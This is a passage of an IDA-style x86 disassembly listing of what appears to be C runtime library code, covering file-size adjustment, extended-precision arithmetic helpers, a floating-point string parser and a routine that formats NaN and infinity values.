loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DCC80, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DBC78 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DBC78 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DBC78 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DCC80 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DCDA0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCCA0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB95C, 5 jnz short loc_424FDC mov dword_4DB958, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2620000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB958, 0Dh nop call near ptr 26B0857h mov dword_4DB95C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB958, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43CBE8 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43CBE8 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43CBE8 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43CBE4, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43CBE8 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43CBE4, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43CBE4, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43CBE4, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43CBE4, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz 